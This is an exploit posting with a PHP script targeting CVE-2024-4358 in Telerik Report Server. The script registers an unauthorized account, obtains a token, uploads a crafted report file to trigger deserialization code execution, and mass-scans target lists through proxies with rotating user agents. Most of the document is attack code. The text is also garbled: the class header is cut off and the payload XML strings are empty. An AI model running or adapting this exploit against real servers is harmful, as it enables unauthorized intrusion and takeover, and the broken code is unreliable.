=============================================================================================================================================
| # Title : Telerik Report Server 2024 Q1-10.0.24.305 RCE via deserialization exploitation |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://www.telerik.com/report-server |
=============================================================================================================================================
[+] Summary : Telerik Report Server versions 2024 Q1 (10.0.24.305) and potentially earlier contain a critical vulnerability
that allows unauthenticated attackers to achieve remote code execution through insecure deserialization in report processing functionality.
The vulnerability exists due to improper input validation in the report processing mechanism. Attackers can exploit this by crafting malicious
report files (.trdp) containing serialized objects that, when deserialized, execute arbitrary code on the server.
[+] Usage:
php exploit.php http://target:8080
[+] POC :
colors = [self::GREEN, self::CYAN, self::BLUE];
$this->random_color = $this->colors[array_rand($this->colors)];
$this->parseOptions();
$this->showBanner();
}
private function showBanner() {
$banner = self::BOLD . $this->random_color . "
██╗███╗ ██╗██████╗ ██████╗ ██╗ ██╗███████╗██╗ ██╗██╗ ██╗ █████╗
██║████╗ ██║██╔══██╗██╔═══██╗██║ ██║██╔════╝██║ ██║██║ ██╔╝██╔══██╗
██║██╔██╗ ██║██ █╔╝██║ ██║██║ ██║███████╗███████║█████╔╝ ███████║
██║██║╚██╗██║██╔══██╗██║ ██║██║ ██║╚════██║██╔══██║██╔═██╗ ██╔══██║
██║██║ ╚████║██████╔╝╚██████╔╝╚██████╔╝███████║██║ ██║██║ ██╗██║ ██║
╚═╝╚═╝ ╚═══╝╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝
" . self::BOLD . self::WHITE . "@indoushka " . self::RESET . "\n";
echo $banner;
}
private function parseOptions() {
$shortopts = "u:l:c:t:o:v";
$longopts = [
"url:",
"list:",
"command:",
"threads:",
"output:",
"proxy:",
"verbose"
];
$options = getopt($shortopts, $longopts);
$this->options = [
'url' => $options['u'] ?? $options['url'] ?? null,
'list' => $options['l'] ?? $options['list'] ?? null,
'command' => $options['c'] ?? $options['command'] ?? 'id',
'threads' => $options['t'] ?? $options['threads'] ?? 1,
'output' => $options['o'] ?? $options['output'] ?? null,
'proxy' => $options['proxy'] ?? null,
'verbose' => isset($options['v']) || isset($options['verbose'])
];
}
private function randomizer($length = 30) {
$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, strlen($characters) - 1)];
}
return $randomString;
}
private function makeRequest($url, $method = 'GET', $data = null, $headers = [], $proxy = null) {
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 30,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_USERAGENT => $this->getRandomUserAgent()
]);
if ($method === 'POST') {
curl_setopt($ch, CURLOPT_POST, true);
if (is_array($data)) {
if (isset($headers['Content-Type']) && strpos($headers['Content-Type'], 'application/json') !== false) {
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
} else {
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
}
}
}
if (!empty($headers)) {
$headerArray = [];
foreach ($headers as $key => $value) {
$headerArray[] = "$key: $value";
}
curl_setopt($ch, CURLOPT_HTTPHEADER, $headerArray);
}
if ($proxy) {
curl_setopt($ch, CURLOPT_PROXY, $proxy);
}
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
return ['code' => $httpCode, 'body' => $response];
}
private function getRandomUserAgent() {
$userAgents = [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36',
'Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15'
];
return $userAgents[array_rand($userAgents)];
}
private function createUser($url, $user, $password) {
$endpoint = $url . '/Startup/Register';
$data = [
'Username' => $user,
'Password' => $password,
'ConfirmPassword' => $password,
'Email' => $user . '@' . $user . '.org',
'FirstName' => $user,
'LastName' => $user
];
$headers = [
'Content-Type' => 'application/x-www-form-urlencoded'
];
$response = $this->makeRequest($endpoint, 'POST', $data, $headers, $this->options['proxy']);
return $response['code'] === 200 ? 'success' : 'failed';
}
private function login($url, $user, $password) {
$endpoint = $url . '/Token';
$data = [
'grant_type' => 'password',
'username' => $user,
'password' => $password
];
$headers = [
'Content-Type' => 'application/x-www-form-urlencoded'
];
$response = $this->makeRequest($endpoint, 'POST', $data, $headers, $this->options['proxy']);
if ($response['code'] === 200) {
$jsonResponse = json_decode($response['body'], true);
return $jsonResponse['access_token'] ?? null;
}
return null;
}
private function createPayload() {
$zip = new ZipArchive();
$filename = 'payloads.trdp';
if ($zip->open($filename, ZipArchive::CREATE) === TRUE) {
// Add [Content_Types].xml
$zip->addFromString('[Content_Types].xml',
'');
// Add definition.xml with command
$definitionXml = '
';
$zip->addFromString('definition.xml', $definitionXml);
$zip->close();
$fileContent = file_get_contents($filename);
return base64_encode($fileContent);
}
return null;
}
private function exploit($payload, $url, $authToken, $user, $password) {
$randomReport = $this->randomizer();
$endpoint1 = $url . '/api/reportserver/report';
$data1 = [
'reportName' => $randomReport,
'categoryName' => 'Samples',
'description' => null,
'reportContent' => $payload,
'extension' => '.trdp'
];
$headers1 = [
'Authorization' => 'Bearer ' . $authToken,
'Content-Type' => 'application/json'
];
$response1 = $this->makeRequest($endpoint1, 'POST', $data1, $headers1, $this->options['proxy']);
if ($response1['code'] != 200) {
echo self::BOLD . self::GREEN . "[Vulnerable]" . self::RESET . ": " . self::BOLD . self::WHITE .
"Report for: $url\n Login Credentials: Username: $user | Password: $password | Authentication Token: $authToken\n Deserialization RCE: Failed" . self::RESET . "\n";
$this->report("Report for: $url\n Login Credentials: Username: $user | Password: $password | Authentication Token: $authToken\n Deserialization RCE: Failed\n----------------------------------");
return;
}
$endpoint2 = $url . '/api/reports/clients';
$data2 = ['timeStamp' => null];
$response2 = $this->makeRequest($endpoint2, 'POST', $data2, [], $this->options['proxy']);
if ($response2['code'] == 200) {
$jsonResponse2 = json_decode($response2['body'], true);
$clientId = $jsonResponse2['clientId'] ?? null;
} else {
echo self::BOLD . self::GREEN . "[Vulnerable]" . self::RESET . ": " . self::BOLD . self::WHITE .
"Report for: $url\n Login Credentials: Username: $user | Password: $password | Authentication Token: $authToken\n Report created: $randomReport\n Deserialization RCE: Failed" . self::RESET . "\n";
$this->report("Report for: $url\n Login Credentials: Username: $user | Password: $password | Authentication Token: $authToken\n Report created: $randomReport\n Deserialization RCE: Failed\n----------------------------------");
return;
}
if (!$clientId) {
return;
}
$endpoint3 = $url . "/api/reports/clients/$clientId/parameters";
$data3 = [
'report' => "NAME/Samples/$randomReport/",
'parameterValues' => []
];
$this->makeRequest($endpoint3, 'POST', $data3, $headers1, $this->options['proxy']);
echo self::BOLD . self::GREEN . "[Vulnerable]" . self::RESET . ": " . self::BOLD . self::WHITE .
"Report for: $url\n Login Credentials: Username: $user | Password: $password | Authentication Token: $authToken\n Report created: $randomReport\n Deserialization RCE: Success" . self::RESET . "\n";
$this->report("Report for: $url\n Login Credentials: Username: $user | Password: $password | Authentication Token: $authToken\n Report created: $randomReport\n Deserialization RCE: Success\n----------------------------------");
}
private function report($result) {
try {
$filename = $this->options['output'] ?? 'results.txt';
file_put_contents($filename, $result . PHP_EOL, FILE_APPEND | LOCK_EX);
} catch (Exception $e) {
}
}
private function processUrl($url) {
$user = $this->randomizer();
$password = $this->randomizer();
$status = $this->createUser($url, $user, $password);
if ($status === 'success') {
usleep(1000);
$authToken = $this->login($url, $user, $password);
if ($authToken) {
$payload = $this->createPayload();
if ($payload) {
$this->exploit($payload, $url, $authToken, $user, $password);
}
}
}
usleep(2000);
}
public function run() {
$urls = [];
if ($this->options['url']) {
$url = $this->options['url'];
if (!preg_match('#^https?://#', $url)) {
$urls[] = 'https://' . $url;
$urls[] = 'http://' . $url;
} else {
$urls[] = $url;
}
}
if ($this->options['list']) {
if (!file_exists($this->options['list'])) {
echo self::BOLD . self::RED . "[WRN]" . self::RESET . ": " . self::BOLD . self::WHITE .
$this->options['list'] . " no such file or directory" . self::RESET . "\n";
exit(1);
}
$fileContent = file($this->options['list'], FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
foreach ($fileContent as $url) {
$url = trim($url);
if (!preg_match('#^https?://#', $url)) {
$urls[] = 'https://' . $url;
$urls[] = 'http://' . $url;
} else {
$urls[] = $url;
}
}
}
$urls = array_unique($urls);
echo "Starting exploitation for " . count($urls) . " URLs...\n";
foreach ($urls as $url) {
$this->processUrl($url);
}
// Clean up
if (file_exists('payloads.trdp')) {
unlink('payloads.trdp');
}
}
}
if (in_array('-h', $argv) || in_array('--help', $argv)) {
echo "Usage: php " . basename(__FILE__) . " [options]\n";
echo "Options:\n";
echo " -u, --url URL Specify a URL or IP with port for vulnerability detection\n";
echo " -l, --list FILE Specify a list of URLs or IPs for vulnerability detection\n";
echo " -c, --command CMD Specify a shell command to execute (default: 'id')\n";
echo " -t, --threads NUM Number of threads (not fully implemented in PHP version)\n";
echo " --proxy URL Proxy URL to send request via your proxy\n";
echo " -v, --verbose Increases verbosity of output in console\n";
echo " -o, --output FILE Filename to save output of vulnerable target\n";
exit(0);
}
$exploit = new CVE_2024_4358_Exploit();
$exploit->run();
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================